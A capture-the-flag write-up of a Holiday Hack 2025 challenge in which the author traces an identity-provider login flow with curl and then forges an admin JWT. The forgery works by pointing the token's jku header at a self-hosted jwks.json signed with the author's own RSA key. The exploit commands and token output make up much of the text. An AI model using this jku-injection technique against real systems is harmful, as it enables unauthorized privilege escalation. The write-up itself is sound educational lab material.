Holiday Hack 2025: Rogue Gnome Identity Provider
Introduction
Rogue Gnome Identity Provider
Difficulty:❅❅❅❅❅Paul Beckett is hanging out in the park beside a frozen water fountain, a snowman, and the Rogue Gnome terminal:
Paul Beckett
As a pentester, I proper love a good privilege escalation challenge, and that’s exactly what we’ve got here.
I’ve got access to a Gnome’s Diagnostic Interface at gnome-48371.atnascorp with the creds gnome:SittingOnAShelf, but it’s just a low-privilege account.
The gnomes are getting some dodgy updates, and I need admin access to see what’s actually going on.
Ready to help me find a way to bump up our access level, yeah?
Chat with Paul Beckett
Congratulations! You spoke with Paul Beckett!
I’ll make sure to note the creds. Clicking on the Cranberry Pi opens a terminal on Paul’s computer:
Solution
paulweb
Notes
Paul’s notes lay out the auth flow for the Gnome:
# Sites
## Captured Gnome:
curl http://gnome-48371.atnascorp/
## ATNAS Identity Provider (IdP):
curl http://idp.atnascorp/
## My CyberChef website:
curl http://paulweb.neighborhood/
### My CyberChef site html files:
~/www/
# Credentials
## Gnome credentials (found on a post-it):
Gnome:SittingOnAShelf
# Curl Commands Used in Analysis of Gnome:
## Gnome Diagnostic Interface authentication required page:
curl http://gnome-48371.atnascorp
## Request IDP Login Page
curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth
## Authenticate to IDP
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login
## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>
## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=<insert-session>' http://gnome-48371.atnascorp/diagnostic-interface
## Analyze the JWT
jwt_tool.py <insert-JWT>
There’s a few things to note here:
- Paul lays out the flow for authentication through the IDP.
- Paul has a webserver running on
http://paulweb.neighborhood/which is hosted from~/www. jwt_tool.pyis installed here. This will be useful when I get a JWT token.
Webserver
The notes said there’s an instance of CyberChef on the local webserver. CyberChef is a very visual application, so it’s not super useful to me, but I can make sure I can access the webserver. It hosts files from ~/www:
paul@paulweb:~/www$ ls
ChefWorker.js.LICENSE.txt DishWorker.js.LICENSE.txt LoaderWorker.js.LICENSE.txt assets index.html modules
CyberChef_v10.19.4.html InputWorker.js.LICENSE.txt ZipWorker.js.LICENSE.txt images index.html.br
Fetching the hostname given in notes matches:
paul@paulweb:~/www$ curl -s http://paulweb.neighborhood | md5sum
b148ac4f8aa927c243d9de700d5a6263 -
paul@paulweb:~/www$ md5sum index.html
b148ac4f8aa927c243d9de700d5a6263 index.html
If I don’t use the hostname, it returns something different:
paul@paulweb:~/www$ curl localhost
<h1>Default</h1>
paul@paulweb:~/www$ curl -s localhost | md5sum
7360dd44710e973192d5dd491ee15738 -
I believe that’s in /var/www, but I can’t access that to check.
I can write files to the www directory and they are hosted on this webserver:
paul@paulweb:~/www$ echo "this is a test" > 0xdf.txt
paul@paulweb:~/www$ curl http://paulweb.neighborhood/0xdf.txt
this is a test
Legit Auth Flow
Overview
If I try to reach the diagnostic interface without auth, it returns a failure:
paul@paulweb:~$ curl http://gnome-48371.atnascorp/diagnostic-interface
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?error=not-logged-in">/?error=not-logged-in</a>. If not, click the link.
Following the redirect shows that authenticating to the gnome happens in three steps:
- Authenticate to the IDP using the creds Paul provided (which is a shared password from the 2015 Holiday Hack Challenge). It will return a JWT.
- Take the returned JWT and use it to auth to the gnome. It will return a session cookie.
- With the session cookie, interact with the gnome.
It’s worth noting that in a browser this entire flow would appear much simpler to the user. As I show these steps in detail, I’ll see that the return from 1 and 2 are 302 redirects, meaning that the user submits their creds to the IDP, and then there’s a series of redirects where they end up at the gnome page authenticated.
Get JWT
If I request the IDP’s main page, it returns an error showing that it requires a return_uri parameter:
paul@paulweb:~$ curl http://idp.atnascorp/
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp Identity Provider</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp Identity Provider</h1>
<p style='color: red;'>Missing return_uri parameter</p>
</body>
</html
The return_uri parameter is standard in OAuth 2.0 and OpenID Connect (OIDC) authentication flows. When a user needs to authenticate, the application (relying party) redirects them to the IdP with this parameter set to a callback URL. After successful authentication, the IdP redirects the user back to that URI with the authentication token. This allows multiple applications to use the same IdP without hardcoding each callback. There’s an example in Paul’s notes, so I’ll use that:
paul@paulweb:~$ curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp Identity Provider</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp Identity Provider</h1>
<!--img src="/images/reindeer_sleigh.png" alt="Reindeer pulling Santa's sleigh" style="width: 300px; margin-top: 20px;"-->
<form method="POST" action="/login">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required><br>
<button type="submit">Login</button>
<input type='hidden' name='return_uri' value='http://gnome-48371.atnascorp/auth'></form>
</body>
</html>
It’s a form that takes a username and password, and sends a hidden field with the provided return URI, all to /login as a POST request. Paul’s notes show how to make this request as well:
paul@paulweb:~$ curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host idp.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:80...
* Connected to idp.atnascorp (127.0.0.1) port 80
> POST /login HTTP/1.1
> Host: idp.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Length: 92
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 302 FOUND
< Date: Mon, 10 Nov 2025 23:35:28 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 1467
< Location: http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzcyOCwiZXhwIjoxNzYyODI0OTI4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.NUbcqDb5tKzX2uEmSHUepRWe3UDScQSMWTE2K7c9IwT0H4k4ZNRFAEbBclVsx-CHhdmpbTPRJuZznz4uYHzPjJQjdxNQ9QVk-8Jo9u-BjHtrTugTjQB5BiJWPWO0TxoIffdWf982SEcjNrWuYoejSEFAoZYnxgM3fWIHGlG5tNVfGWWyCJTKk6tiSxbjO-YJI1CRilLgQxRlHb4fpz-73pLvyaH0V0oS2X21SKjSAZqG1M-kx4jIhYSP8qECygNhtweLAqzWZoYvdGYGHFGj4yBh38BOeloRo_kS0wCyC33I6I0NdMlMO_rzqwB7HtguTegHvI1Qa1E1959-MBSOOw
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzcyOCwiZXhwIjoxNzYyODI0OTI4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.NUbcqDb5tKzX2uEmSHUepRWe3UDScQSMWTE2K7c9IwT0H4k4ZNRFAEbBclVsx-CHhdmpbTPRJuZznz4uYHzPjJQjdxNQ9QVk-8Jo9u-BjHtrTugTjQB5BiJWPWO0TxoIffdWf982SEcjNrWuYoejSEFAoZYnxgM3fWIHGlG5tNVfGWWyCJTKk6tiSxbjO-YJI1CRilLgQxRlHb4fpz-73pLvyaH0V0oS2X21SKjSAZqG1M-kx4jIhYSP8qECygNhtweLAqzWZoYvdGYGHFGj4yBh38BOeloRo_kS0wCyC33I6I0NdMlMO_rzqwB7HtguTegHvI1Qa1E1959-MBSOOw">http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzcyOCwiZXhwIjoxNzYyODI0OTI4LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.NUbcqDb5tKzX2uEmSHUepRWe3UDScQSMWTE2K7c9IwT0H4k4ZNRFAEbBclVsx-CHhdmpbTPRJuZznz4uYHzPjJQjdxNQ9QVk-8Jo9u-BjHtrTugTjQB5BiJWPWO0TxoIffdWf982SEcjNrWuYoejSEFAoZYnxgM3fWIHGlG5tNVfGWWyCJTKk6tiSxbjO-YJI1CRilLgQxRlHb4fpz-73pLvyaH0V0oS2X21SKjSAZqG1M-kx4jIhYSP8qECygNhtweLAqzWZoYvdGYGHFGj4yBh38BOeloRo_kS0wCyC33I6I0NdMlMO_rzqwB7HtguTegHvI1Qa1E1959-MBSOOw</a>. If not, click the link.
* Connection #0 to host idp.atnascorp left intact
I’ve added -v to see the return status code and Location header. It returns a 302 redirect to <redirect_url>?token=<jwt>, which also has a link in the body to click to go there as well.
The IDP Server header is Werkzeug/3.0.1 Python/3.12.3, which means idp.atnascorp is likely running Flask.
Getting Session Token
Getting a session token is as simple as visiting that URL as a GET request:
paul@paulweb:~$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.rTHTXENrZVEbq_iJfLXEliBUprVkMztQoj4UMTvqJesISxnqfdKFZ5bWuPEsSnyMDGoEPMurUcL7ZC4AX7nMdbBXtJ3dLDWHIhZCmC5MvGxHWMm8sBiKHwkUthbnLKrVvUh08fkBkXBZHY6mxFYUDLova-mwkGTeR-9s1lIIwZfqW5xgZQolG1OB4qTSAf2TFdBaVvsxEkjoRR3-ApZeqZ4gZBWzhZdhB3JWsrzmDB8RM8khFESp_eDfyPeKx5-wtRJORX_s-JPwTWnhH92yMvD7--X-yiE3PB6jKNbu4Sg1nArsOg5uEoP41FijWO3l00X-_WDQ0Glw0YgDjt6-8Q
* Host gnome-48371.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:80...
* Connected to gnome-48371.atnascorp (127.0.0.1) port 80
> GET /auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.rTHTXENrZVEbq_iJfLXEliBUprVkMztQoj4UMTvqJesISxnqfdKFZ5bWuPEsSnyMDGoEPMurUcL7ZC4AX7nMdbBXtJ3dLDWHIhZCmC5MvGxHWMm8sBiKHwkUthbnLKrVvUh08fkBkXBZHY6mxFYUDLova-mwkGTeR-9s1lIIwZfqW5xgZQolG1OB4qTSAf2TFdBaVvsxEkjoRR3-ApZeqZ4gZBWzhZdhB3JWsrzmDB8RM8khFESp_eDfyPeKx5-wtRJORX_s-JPwTWnhH92yMvD7--X-yiE3PB6jKNbu4Sg1nArsOg5uEoP41FijWO3l00X-_WDQ0Glw0YgDjt6-8Q HTTP/1.1
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 FOUND
< Date: Mon, 10 Nov 2025 23:38:09 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aRJ3YQ.qDSkoucsS5xe-rkqng6fAC8hxt0; HttpOnly; Path=/
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/diagnostic-interface">/diagnostic-interface</a>. If not, click the link.
* Connection #0 to host gnome-48371.atnascorp left intact
The URL has the token used to authenticate. It returns a 302 to /diagnostic-interface. It has also set a session cookie.
The webserver Server header is Werkzeug/3.0.1 Python/3.12.3, which means gnome-48371.atnascorp is likely running Flask as well.
Diagnostics
That session cookie will provide more access to /diagnostic-interface:
paul@paulweb:~$ curl -H 'Cookie: session=eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aRJ3YQ.qDSkoucsS5xe-rkqng6fAC8hxt0' http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
<head>
<title>AtnasCorp : Gnome Diagnostic Interface</title>
<link rel="stylesheet" type="text/css" href="/static/styles/styles.css">
</head>
<body>
<h1>AtnasCorp : Gnome Diagnostic Interface</h1>
<p>Welcome gnome</p><p>Diagnostic access is only available to admins.</p>
</body>
</html>
Unfortunately, it says the page is only available to admins.
Token Analysis
IDP JWT Token
I’ll pass the token from the IDP to jwt_tool.py to see what it decodes to:
paul@paulweb:~$ jwt_tool.py eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.rTHTXENrZVEbq_iJfLXEliBUprVkMztQoj4UMTvqJesISxnqfdKFZ5bWuPEsSnyMDGoEPMurUcL7ZC4AX7nMdbBXtJ3dLDWHIhZCmC5MvGxHWMm8sBiKHwkUthbnLKrVvUh08fkBkXBZHY6mxFYUDLova-mwkGTeR-9s1lIIwZfqW5xgZQolG1OB4qTSAf2TFdBaVvsxEkjoRR3-ApZeqZ4gZBWzhZdhB3JWsrzmDB8RM8khFESp_eDfyPeKx5-wtRJORX_s-JPwTWnhH92yMvD7--X-yiE3PB6jKNbu4Sg1nArsOg5uEoP41FijWO3l00X-_WDQ0Glw0YgDjt6-8Q
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] jku = "http://idp.atnascorp/.well-known/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"
Token payload values:
[+] sub = "gnome"
[+] iat = 1762817734 ==> TIMESTAMP = 2025-11-10 23:35:34 (UTC)
[+] exp = 1762824934 ==> TIMESTAMP = 2025-11-11 01:35:34 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = False
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
The payload gives information about the user. The username is gnome (which matches what I logged in as). There are issued and expires timestamps. The admin value is set to “False”.
There’s also information in the header. It shows that the JWT is signed with RSA 256, and the jku (JSON Web Key Set URL) value is http://idp.atnascorp/.well-known/jwks.json. This header tells the receiver where to fetch the public key to validate the signature. I can fetch that file:
paul@paulweb:~$ curl http://idp.atnascorp/.well-known/jwks.json
{
"keys": [
{
"e": "AQAB",
"kid": "idp-key-2025",
"kty": "RSA",
"n": "7WWfvxwIZ44wIZqPFP9EEemmwMhKgBakYPx736W5gGD8YJlmMzanxdi8NANJ6kyMN-ErFOKJuIQn01PmAeq7On4OCwLyQpB5dHXiidZPRjb2lbrrL1k32svdeo6VGCnzdrGu6KtDHxHn8m9H3WqGVmi2OmCZsk6fJbnoklnJaFiygUkC4IMbk92cbYvajPTqV9C6yWCROPagxQFmybq1hNJoY-FRntEKwBN89Dow8d-PsGMten3CmzDQ9o8rXKs6euk9xLfX06og5Wm1aKJk686WzhtqgdmBjqt2w34EJGlEL0ZSvPdB9nPqxao83N-ah-IYeoiCnSUBKjXI-IRSjQ",
"use": "sig"
}
]
}
This is the public key used to validate the token. The n and e fields are the RSA modulus and exponent that form the public key. The kid (key ID) matches the one in the JWT header, allowing the receiver to select the correct key if multiple are present. The kty indicates this is an RSA key, and use set to “sig” means it’s for signature verification.
Gnome Session Cookie
The session cookie looks a lot like a JWT (three sections joined by “.”), but it won’t decode as one:
paul@paulweb:~$ jwt_tool.py eyJhZG1pbiI6ZmFsc2UsInVzZXJuYW1lIjoiZ25vbWUifQ.aRJ3YQ.qDSkoucsS5xe-rkqng6fAC8hxt0
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
[-] Invalid token:
PAYLOAD not valid JSON format
iwa
It’s actually a Flask cookie. I’ll use an online decoder to see what it holds:
I suspect that the admin value is set to match whatever is in the JWT provided.
Forge Cookie
Strategy
The vulnerability here is that the JWT itself defines from where the public key is fetched. If the receiver validating the JWT doesn’t validate that the jku is from a trusted host, an attacker can host their own public key and forge valid JWTs.
I’m going to make a new JWT the same as the legit one changing the following information:
admin= Truejku= “http://paulweb.neighborhood/jwks.json”
Then I’ll create an RSA key and use it to sign the JWT, and to create ~/www/jwks.json. When I submit this token to the gnome, it will reach out to my jwks.json file and validate the token, and then return a session token with admin set to true.
Generate jwks.json
I’ll create an RSA keypair using openssl:
paul@paulweb:~$ openssl genrsa -out my_private_key.pem 2048
paul@paulweb:~$ openssl rsa -in my_private_key.pem -pubout -out my_public_key.pem
writing RSA key
paul@paulweb:~$ file *.pem
my_private_key.pem: OpenSSH private key (no password)
my_public_key.pem: ASCII text
I need to get the n value. openssl can put it out as hex, which I’ll need to reformat into base64:
paul@paulweb:~$ openssl rsa -in my_private_key.pem -noout -modulus | cut -d= -f2 | xxd -r -p | base64 -w0 | tr '+/=' '-_ '
xt8fxeAX_N8JMyAAkkXzj_GqXM9kV2xr1fK_h1EK7mz6C74_1VpORJ8MRw2gPC9MVLAOKNF5v5xyeEjW28FAlZXQnj85u2MeVczMtDk6ClLsK4H0AYq_iRwvst-Nti_p6fGx3szQqYTFz3XaVgerpXgjjLy-KwAQOjKRCXLy7baJojTDlz1IPQtVWgr40I9CM_bpG59yF6gQih1cRLnb3cQK3S4q7zGcYx6dRuUE0m5cUCtRq3T-ehgjtkexCahdoHju8B-SVasaUDDD9AVlXnN11wYmkbAPXXiiTYKZpsgbHkf0I_CPe4QbD0SOI_Pkx2wTWHEYbWLnxfomClZ2RQ
Now I can create a jwks.json:
paul@paulweb:~$ cat www/jwks.json
{
"keys": [
{
"kty": "RSA",
"kid": "idp-key-2025",
"use": "sig",
"e": "AQAB",
"n": "xt8fxeAX_N8JMyAAkkXzj_GqXM9kV2xr1fK_h1EK7mz6C74_1VpORJ8MRw2gPC9MVLAOKNF5v5xyeEjW28FAlZXQnj85u2MeVczMtDk6ClLsK4H0AYq_iRwvst-Nti_p6fGx3szQqYTFz3XaVgerpXgjjLy-KwAQOjKRCXLy7baJojTDlz1IPQtVWgr40I9CM_bpG59yF6gQih1cRLnb3cQK3S4q7zGcYx6dRuUE0m5cUCtRq3T-ehgjtkexCahdoHju8B-SVasaUDDD9AVlXnN11wYmkbAPXXiiTYKZpsgbHkf0I_CPe4QbD0SOI_Pkx2wTWHEYbWLnxfomClZ2RQ"
}
]
}
Forge JWT
I’ll use jwt_tool.py to make a new JWT with the following options:
-S rs256- sign the token using RS256 algorithm-pr my_private_key.pem- use this private key file for signing-I- injection mode to tamper with claims-pc admin -pv true- set the payload claimadmintotrue-hc jku -hv http://paulweb.neighborhood/jwks.json- set the header claimjkuto my webserver
paul@paulweb:~$ jwt_tool.py -S rs256 -pr my_private_key.pem -I -pc admin -pv true -hc jku -hv http://paulweb.neighborhood/jwks.json eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.rTHTXENrZVEbq_iJfLXEliBUprVkMztQoj4UMTvqJesISxnqfdKFZ5bWuPEsSnyMDGoEPMurUcL7ZC4AX7nMdbBXtJ3dLDWHIhZCmC5MvGxHWMm8sBiKHwkUthbnLKrVvUh08fkBkXBZHY6mxFYUDLova-mwkGTeR-9s1lIIwZfqW5xgZQolG1OB4qTSAf2TFdBaVvsxEkjoRR3-ApZeqZ4gZBWzhZdhB3JWsrzmDB8RM8khFESp_eDfyPeKx5-wtRJORX_s-JPwTWnhH92yMvD7--X-yiE3PB6jKNbu4Sg1nArsOg5uEoP41FijWO3l00X-_WDQ0Glw0YgDjt6-8Q
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
jwttool_a0157780708f51a64991c773333374c1 - Tampered token - RSA Signing:
[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJpZHAta2V5LTIwMjUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GZJnSVJ1jzXWj83-eyQ_BQh7RyCokoF0Vy-AUXz2LnZLnyema_MjG98HY2NLv-Hjq9UdtXYQgyYnzAMf5IRPf420HvAkjg3rLp0Nni1ElYrvfjZMGCvcMitOV6mZUMR2F7QND_UF5HYq2KIp6opt7TbqcFVK-p-BcbQq4ERPA48yZtqfAuDxrSx57Ex1tW6rgZeMSdX8Ceiciw8TzftLaY1edO52qGO8C0SpRWQLQuewWTrnAdI3dCLPfT2N1Mit-wd3ihDSUsWQRMKlSvdV8X3uUWxZBWo4CqOeMieKp4yi8BQSv0Mnv51zH5RQ2lKBsrWPCRAljdcybQRGx3TQNw
jwt_tool.py shows it has the expected values:
paul@paulweb:~$ jwt_tool.py eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJpZHAta2V5LTIwMjUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GZJnSVJ1jzXWj83-eyQ_BQh7RyCokoF0Vy-AUXz2LnZLnyema_MjG98HY2NLv-Hjq9UdtXYQgyYnzAMf5IRPf420HvAkjg3rLp0Nni1ElYrvfjZMGCvcMitOV6mZUMR2F7QND_UF5HYq2KIp6opt7TbqcFVK-p-BcbQq4ERPA48yZtqfAuDxrSx57Ex1tW6rgZeMSdX8Ceiciw8TzftLaY1edO52qGO8C0SpRWQLQuewWTrnAdI3dCLPfT2N1Mit-wd3ihDSUsWQRMKlSvdV8X3uUWxZBWo4CqOeMieKp4yi8BQSv0Mnv51zH5RQ2lKBsrWPCRAljdcybQRGx3TQNw
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/home/paul/.jwt_tool/jwtconf.ini
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
[+] jku = "http://paulweb.neighborhood/jwks.json"
[+] kid = "idp-key-2025"
[+] typ = "JWT"
Token payload values:
[+] sub = "gnome"
[+] iat = 1762817734 ==> TIMESTAMP = 2025-11-10 23:35:34 (UTC)
[+] exp = 1762824934 ==> TIMESTAMP = 2025-11-11 01:35:34 (UTC)
[+] iss = "http://idp.atnascorp/"
[+] admin = True
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
Use JWT
I’ll jump into the middle of the IDP auth flow with the forged JWT and use it to get a Flask cookie:
paul@paulweb:~$ curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJpZHAta2V5LTIwMjUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GZJnSVJ1jzXWj83-eyQ_BQh7RyCokoF0Vy-AUXz2LnZLnyema_MjG98HY2NLv-Hjq9UdtXYQgyYnzAMf5IRPf420HvAkjg3rLp0Nni1ElYrvfjZMGCvcMitOV6mZUMR2F7QND_UF5HYq2KIp6opt7TbqcFVK-p-BcbQq4ERPA48yZtqfAuDxrSx57Ex1tW6rgZeMSdX8Ceiciw8TzftLaY1edO52qGO8C0SpRWQLQuewWTrnAdI3dCLPfT2N1Mit-wd3ihDSUsWQRMKlSvdV8X3uUWxZBWo4CqOeMieKp4yi8BQSv0Mnv51zH5RQ2lKBsrWPCRAljdcybQRGx3TQNw
* Host gnome-48371.atnascorp:80 was resolved.
* IPv6: (none)
* IPv4: 127.0.0.1
* Trying 127.0.0.1:80...
* Connected to gnome-48371.atnascorp (127.0.0.1) port 80
> GET /auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd2tzLmpzb24iLCJraWQiOiJpZHAta2V5LTIwMjUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2MjgxNzczNCwiZXhwIjoxNzYyODI0OTM0LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.GZJnSVJ1jzXWj83-eyQ_BQh7RyCokoF0Vy-AUXz2LnZLnyema_MjG98HY2NLv-Hjq9UdtXYQgyYnzAMf5IRPf420HvAkjg3rLp0Nni1ElYrvfjZMGCvcMitOV6mZUMR2F7QND_UF5HYq2KIp6opt7TbqcFVK-p-BcbQq4ERPA48yZtqfAuDxrSx57Ex1tW6rgZeMSdX8Ceiciw8TzftLaY1edO52qGO8C0SpRWQLQuewWTrnAdI3dCLPfT2N1Mit-wd3ihDSUsWQRMKlSvdV8X3uUWxZBWo4CqOeMieKp4yi8BQSv0Mnv51zH5RQ2lKBsrWPCRAljdcybQRGx3TQNw HTTP/1.1
> Host: gnome-48371.atnascorp
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 FOUND
< Date: Tue, 11 Nov 2025 00:04:52 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
